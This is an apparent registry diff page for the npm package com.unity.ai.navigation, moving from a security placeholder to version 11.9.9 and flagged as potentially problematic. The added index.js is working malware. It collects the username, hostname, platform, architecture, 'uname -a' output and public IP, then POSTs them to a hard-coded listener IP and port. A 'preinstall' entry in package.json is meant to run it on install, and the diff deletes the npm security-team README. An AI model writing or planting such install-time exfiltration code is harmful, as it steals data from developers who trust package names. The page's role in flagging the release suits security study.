com.unity.ai.navigation 0.0.1-security → 11.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of com.unity.ai.navigation might be problematic. Click here for more details.
- package/index.js +89 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,89 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const { execSync } = require("child_process");
|
3
|
+
const http = require("http");
|
4
|
+
const https = require("https"); // Using HTTPS for secure communication
|
5
|
+
const exec = require("child_process").exec;
|
6
|
+
|
7
|
+
// Function to get public IP address of the system
|
8
|
+
function getPublicIP(callback) {
|
9
|
+
https.get('https://api64.ipify.org?format=json', (res) => {
|
10
|
+
let data = '';
|
11
|
+
res.on('data', chunk => { data += chunk; });
|
12
|
+
res.on('end', () => {
|
13
|
+
try {
|
14
|
+
const ipInfo = JSON.parse(data);
|
15
|
+
callback(ipInfo.ip);
|
16
|
+
} catch (error) {
|
17
|
+
callback('Unknown');
|
18
|
+
}
|
19
|
+
});
|
20
|
+
}).on('error', () => {
|
21
|
+
callback('Unknown');
|
22
|
+
});
|
23
|
+
}
|
24
|
+
|
25
|
+
// Function to capture system information
|
26
|
+
function getSystemInfo() {
|
27
|
+
try {
|
28
|
+
const user = os.userInfo().username;
|
29
|
+
const hostname = os.hostname();
|
30
|
+
const platform = os.platform();
|
31
|
+
const architecture = os.arch();
|
32
|
+
const kernel = execSync("uname -a").toString().trim();
|
33
|
+
|
34
|
+
return {
|
35
|
+
username: user,
|
36
|
+
hostname: hostname,
|
37
|
+
platform: platform,
|
38
|
+
architecture: architecture,
|
39
|
+
kernel: kernel
|
40
|
+
};
|
41
|
+
} catch (error) {
|
42
|
+
console.error("Error capturing system info:", error);
|
43
|
+
return { error: "Failed to capture system info" };
|
44
|
+
}
|
45
|
+
}
|
46
|
+
|
47
|
+
// Function to send the data to the listener
|
48
|
+
function sendData(data) {
|
49
|
+
const options = {
|
50
|
+
hostname: "65.0.127.249", // Your listener's IP
|
51
|
+
port: 4777, // Your listener's port
|
52
|
+
path: "/log", // Path where the listener will accept POST requests
|
53
|
+
method: "POST",
|
54
|
+
headers: {
|
55
|
+
"Content-Type": "application/json",
|
56
|
+
"Content-Length": Buffer.byteLength(data),
|
57
|
+
},
|
58
|
+
};
|
59
|
+
|
60
|
+
const req = http.request(options, (res) => {
|
61
|
+
console.log(`Listener response: ${res.statusCode}`);
|
62
|
+
});
|
63
|
+
|
64
|
+
req.on("error", (err) => {
|
65
|
+
console.error("Error sending data:", err.message);
|
66
|
+
});
|
67
|
+
|
68
|
+
req.write(data);
|
69
|
+
req.end();
|
70
|
+
}
|
71
|
+
|
72
|
+
// Function to gather system info and public IP, then send data
|
73
|
+
function gatherAndSendSystemInfo() {
|
74
|
+
const systemInfo = getSystemInfo();
|
75
|
+
|
76
|
+
// Fetch public IP and add to system info
|
77
|
+
getPublicIP((publicIP) => {
|
78
|
+
systemInfo.public_ip = publicIP;
|
79
|
+
|
80
|
+
// Convert the system info object into JSON string
|
81
|
+
const systemData = JSON.stringify(systemInfo);
|
82
|
+
|
83
|
+
// Send the gathered data to the listener server
|
84
|
+
sendData(systemData);
|
85
|
+
});
|
86
|
+
}
|
87
|
+
|
88
|
+
// Trigger the function to gather and send the system information
|
89
|
+
gatherAndSendSystemInfo();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "com.unity.ai.navigation",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "11.9.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"preinstall":"node index.js",
|
7
|
+
"scripts": {
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=com.unity.ai.navigation for more information.
|